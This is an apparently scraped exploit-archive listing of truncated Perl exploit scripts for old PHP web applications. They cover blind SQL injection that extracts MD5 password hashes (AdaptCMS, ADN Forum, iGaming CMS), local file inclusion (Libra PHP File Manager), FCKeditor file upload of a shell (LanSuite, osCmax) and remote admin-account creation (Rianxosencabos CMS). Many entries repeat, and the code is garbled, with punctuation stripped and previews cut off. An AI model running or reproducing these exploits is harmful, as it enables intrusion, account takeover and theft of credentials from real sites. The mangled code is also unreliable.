adaptcms-blindsql.txt

!/usr/bin/perl ----------------------------------------------------- AdaptCMS Lite post$host.'/includes/checkuser.php', username = $param ; if$post-issuccess return 38 unless $post-content = /yes/i; my @chars = 48..57, 97..102; for0..32 foreach my $set@chars $send = "' or asciisubstringselect...

ADN Forum 1.0b - Blind SQL Injection

!/usr/bin/perl -------------------------------------------------- ADN Forum get$host."/index.php?fid=".$send; if$request-issuccess and $request-content = /hace clic en el boton de abajo/i $hash .= chr$ord; $uid++; ifdefined $hash print "+ MD5: $hash\n"; exit; else print "? Exploit Failed!\n"; exi...

ADN Forum <= 1.0b Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================= ADN Forum get$host."/index.php?fid=".$send; if$request-issuccess and $request-content = /hace clic en el boton de abajo/i $hash .= chr$ord; $uid++; ifdefined $hash print "+ MD5: $hash\n"; exit;...

ADN Forum 1.0b - Blind SQL Injection

ADN Forum 1.0b - Blind SQL Injection !/usr/bin/perl -------------------------------------------------- ADN Forum get$host."/index.php?fid=".$send; if$request-issuccess and $request-content = /hace clic en el boton de abajo/i $hash .= chr$ord; $uid++; ifdefined $hash print "+ MD5: $hash\n"; exit;...

Libra PHP File Manager &lt;= 1.18 Local File Inclusion Exploit

No description provided by source. ! /usr/bin/perl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Libra PHP File Manager = 1.18 / Local File Inclusion Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Program: Libra PHP File Manager Version: =...

LanSuite 3.3.2 (fckeditor) Arbitrary File Upload Exploit

No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + LanSuite 3.3.2 fckeditor Arbitrary File Upload + + + + By: Stack +...

Rianxosencabos CMS 0.9 Remote Add Admin Exploit

No description provided by source. !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x ka0x01 at gmail dot com D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login,...

LanSuite 3.3.2 - FCKeditor Arbitrary File Upload

LanSuite 3.3.2 - FCKeditor Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...

Libra PHP File Manager <= 1.18/2.0 Local File Inclusion Exploit

Exploit for unknown platform in category web applications =============================================================== Libra PHP File Manager eNYe-Sec - www.enye-sec.org Greetings to Ka0x for help me with the perl code : You can scale directories and read any file that you have permissions use...

Libra PHP File Manager 1.182.0 - Local File Inclusion

Libra PHP File Manager 1.182.0 - Local File Inclusion ! /usr/bin/perl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Libra PHP File Manager eNYe-Sec - www.enye-sec.org Greetings to Ka0x for help me with the perl code : You can scale directories and read any file that you have...

Libra File Manager 1.182.0 - fileadmin.php Local File Inclusion

Libra File Manager 1.182.0 - fileadmin.php Local File Inclusion source: https://www.securityfocus.com/bid/31403/info Libra File Manager is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability using...

LanSuite 3.3.2 - 'FCKeditor' Arbitrary File Upload

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'/FCKeditor/editor/filemanager/upload/php/upload.php', ContentType =...

Libra PHP File Manager 1.18/2.0 - Local File Inclusion

!/usr/bin/perl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Libra PHP File Manager eNYe-Sec - www.enye-sec.org Greetings to Ka0x for help me with the perl code : You can scale directories and read any file that you have permissions use LWP::UserAgent; $ua =...

igamingcms-sql.txt

!/usr/bin/perl ---------------------------------------------------------- iGaming agent"Mozilla/4.5 en Win95; U"; $http-timeout1; if$host ! /^http://.+?$/ print "? iGaming CMS get$host.'/previews.php?browse='.$exec; $two = $http-get$host.'/reviews.php?browse='.$exec; $xxx =...

oscmax-upload.txt

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Localpath of shellC:/whatever: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'FCKeditor/editor/filemanager/browser/default/connectors/test.html', ContentType =...

Rianxosencabos CMS 0.9 Remote Add Admin Exploit

Exploit for unknown platform in category web applications =============================================== Rianxosencabos CMS 0.9 Remote Add Admin Exploit =============================================== !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download:...

Rianxosencabos CMS 0.9 - Remote Add Admin

!/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login, $pass, $mail, $userid = @ARGV ; unless$ARGV4 print " usage:...

rianxosencabos09-admin.txt

!/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login, $pass, $mail, $userid = @ARGV ; unless$ARGV4 print " usage:...

Rianxosencabos CMS 0.9 - Remote Add Admin

Rianxosencabos CMS 0.9 - Remote Add Admin !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login, $pass, $mail,...

iGaming CMS 1.5 - Multiple SQL Injections

!/usr/bin/perl ---------------------------------------------------------- iGaming agent"Mozilla/4.5 en Win95; U"; $http-timeout1; if$host ! /^http://.+?$/ print "? iGaming CMS get$host.'/previews.php?browse='.$exec; $two = $http-get$host.'/reviews.php?browse='.$exec; $xxx =...